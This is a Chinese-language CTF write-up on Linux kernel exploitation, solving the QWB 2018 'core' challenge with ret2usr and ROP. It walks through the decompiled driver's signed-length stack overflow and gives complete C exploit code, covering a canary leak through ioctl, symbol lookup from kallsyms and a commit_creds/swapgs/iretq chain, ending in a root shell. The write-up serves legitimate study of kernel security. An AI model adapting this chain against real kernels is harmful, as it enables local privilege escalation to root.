Linux Kernel Exploitation 生存日记 - 0x01
Linux Kernel Exploitation 生存日记 - 0x01
ret2usr
原理
内核栈溢出啥的劫持内核驱动的执行流,exp里面写函数执行commit_cred(prepare_kernel_cred(0))或者commit_cred(&init_cred),即可提权到root(执行的代码处于用户的程序中,但是此此时仍然处于内核态),之后swapgs+iretq返回到用户态执行system(“/bin/sh”)即可
Try!- 强网杯2018 - core
题目分析
start.sh:
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
这里可以看到qemu启动linux的参数。 kaslr说明开启了地址随机
之后解压文件系统。
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 bin
-rw-rw-r-- 1 akyoi akyoi 6.9K 3月 23 2018 core.ko
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 etc
-rwxrwxr-x 1 akyoi akyoi 66 3月 17 2018 gen_cpio.sh
-rwxrwxr-x 1 akyoi akyoi 558 3月 23 2018 init
drwxrwxr-x 3 akyoi akyoi 4.0K 3月 17 2018 lib
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 lib64
lrwxrwxrwx 1 akyoi akyoi 11 10月 7 19:31 linuxrc -> bin/busybox
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 proc
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 23 2018 root
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 sbin
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 sys
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 23 2018 tmp
drwxrwxr-x 4 akyoi akyoi 4.0K 3月 17 2018 usr
-rwxrwxr-x 1 akyoi akyoi 46M 3月 23 2018 vmlinux
core.ko就是我们分析的驱动文件。 gen_cpio.sh方便打包cpio
init文件:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms # 这里备份了kallsyms,这样相当于我们拥有了内核的地址。(/proc/kallsyms在普通用户权限下是查看不了的)
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
我们删去第一个poweroff指令即可关闭定时关机。同时这里也可以设置sh具有的权限:setsid /bin/cttyhack setuidgid 1000 /bin/sh
之后我们IDA分析core.ko文件: 初始化驱动:
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}
ioctl函数,我们exp中使用ioctl函数与之交互:
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B: // 此函数的功能就是根据off输出0x40字节的内容,配合下面的设置off的功能可以泄露canary
core_read(a3);
break;
case 0x6677889C: // 设置off变量
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}
core_write函数,我们使用write函数与之交互:
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230);
return 0xFFFFFFF2LL;
}
这里限制的最大长度为0x800
core_copy_func:
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}
这里比较a1与63的时候采用的是有符号的比较
之后传参采用movzx ecx, bx会保留最低2字节以及扩展符号位。
这里我们只需控制rbx为负数,而且bx扩展符号位后不会寄掉,即是一个大一些的整数,但是不过于大,比如0x600.
程序的保护如下:
[*] '/home/akyoi/PWN/Kernel/ret2usr/core/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: No
攻击!
首先泄露canary:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define ULL unsigned long long
int main(){
save_status();
ULL canary[0x40/8];
int fd=open("/proc/core",O_RDWR);
ioctl(fd,0x6677889C,0x40);
ioctl(fd,0x6677889B,canary);
printf("Kernel Canary : %p\n",canary[0]);
return 0;
}
成功拿到canary:
SeaBIOS (version 1.16.3-debian-1.16.3-2)
iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+1EFCAE00+1EF0AE00 CA00
Booting from ROM...
[ 0.021425] Spectre V2 : Spectre mitigation: LFENCE not serializing, switchie
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ ls
bin etc init proc tmp
core.cpio exp lib root usr
core.ko exp.c lib64 sbin vmlinux
dev gen_cpio.sh linuxrc sys
/ $ ./exp
Kernel Canary : 0x43962a7a3b2f1800
/ $
顺便看看/tmp/kallsyms:
/ $ cat /tmp/kallsyms | grep commit_cred
ffffffffafe9c8e0 T commit_creds
/ $ cat /tmp/kallsyms | grep prepare_kernel_cred
ffffffffafe9cce0 T prepare_kernel_cred
之后就可以从这里面读入地址了,减去偏移就可以拿到基址和ROPgadget了。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define ULL unsigned long long
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void getshell(){
system("/bin/sh");
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
void getbase(){
FILE *fd=fopen("/tmp/kallsyms", "r");
size_t addr;
char x[0x10];
char buf[0x100];
int a=0,b=0;
while(1){
fscanf(fd,"%lx%s%s",&addr,&x,&buf);
if (!strcmp("commit_creds",buf)){
commit_creds=addr;
a=1;
}
if (!strcmp("prepare_kernel_cred",buf)){
prepare_kernel_cred=addr;
b=1;
}
if(a==1 && b==1)return ;
}
}
int main(){
save_status();
ULL canary[0x40/8];
int fd=open("/proc/core",O_RDWR);
ioctl(fd,0x6677889C,0x40);
ioctl(fd,0x6677889B,canary);
printf("Kernel Canary : %p\n",canary[0]);
getbase();
printf("commit_creds : %p\n",commit_creds);
printf("prepare_...creds: %p\n",prepare_kernel_cred);
// getshell();
return 0;
}
可以看到成功拿到地址了:
/ $ ./exp
Kernel Canary : 0x5392669a9ed6b500
commit_creds : 0xffffffffb6c9c8e0
prepare_...creds: 0xffffffffb6c9cce0
/ $
之后ROP执行commit_creds(prepare_kernel_cred(0))或者commit_cred(&init_cred)就行了
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define ULL size_t
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void getshell(){
puts("asdasdasd");
asm("push rax");
system("/bin/sh");
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
ULL base;
void getbase(){
FILE *fd=fopen("/tmp/kallsyms", "r");
size_t addr;
char x[0x10];
char buf[0x100];
int a=0,b=0;
while(1){
fscanf(fd,"%lx%s%s",&addr,&x,&buf);
if (!strcmp("commit_creds",buf)){
commit_creds=addr;
base=commit_creds-0x9c8e0;
a=1;
}
if (!strcmp("prepare_kernel_cred",buf)){
prepare_kernel_cred=addr;
b=1;
}
if(a==1 && b==1)return ;
}
}
extern int commit_creds_func(int cred);
extern int prepare_kernel_cred_func(int cred);
void to_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
/* puts("[*] root now."); */
}
int main(){
save_status();
ULL canary111[0x40/8];
int fd=open("/proc/core",O_RDWR);
ioctl(fd,0x6677889C,0x40);
ioctl(fd,0x6677889B,canary111);
printf("Kernel Canary : %p\n",canary111[0]);
getbase();
printf("commit_creds : %p\n",commit_creds);
printf("prepare_...creds: %p\n",prepare_kernel_cred);
size_t canary=canary111[0];
size_t rop[0x800]={0}; // b'a'*0x40+canary+rbp+ret
memset(rop,0,sizeof(rop));
ULL offset=base-0xffffffff81000000;
int i;
for(i=0;i<10;i++)
{
rop[i]=canary;
}
// rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
// rop[i++] = 0;
// rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
// rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
// rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
// rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
// rop[i++] = commit_creds;
// rop[i++] = (size_t)to_root;
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0xFFFFFFFF8223D1A0 + offset; // init_cred
rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)getshell; // rip
rop[i++] = user_cs; // cs
rop[i++] = user_rflags; // rflags
rop[i++] = user_sp; // rsp
rop[i++] = user_ss; // ss
write(fd,rop,0x800);
ioctl(fd,0x6677889A,0xffffffffffff0100);
// getshell();
return 0;
}
第一种:commit_creds(prepare_kernel_cred(0))
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;
第二种:ret2usr
rop[i++] = (size_t)to_root;
第三种:commit_creds(&init_cred)
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0xFFFFFFFF8223D1A0 + offset; // init_cred
rop[i++] = commit_creds;
跑完就能拿到rootshell了
/ $ ./exp_rop
[*] Status has been saved.
Kernel Canary : 0x1802bc00ab651400
commit_creds : 0xffffffffa2e9c8e0
prepare_...creds: 0xffffffffa2e9cce0
asdasdasd
/ # whoami
root
/ # id
uid=0(root) gid=0(root)
/ #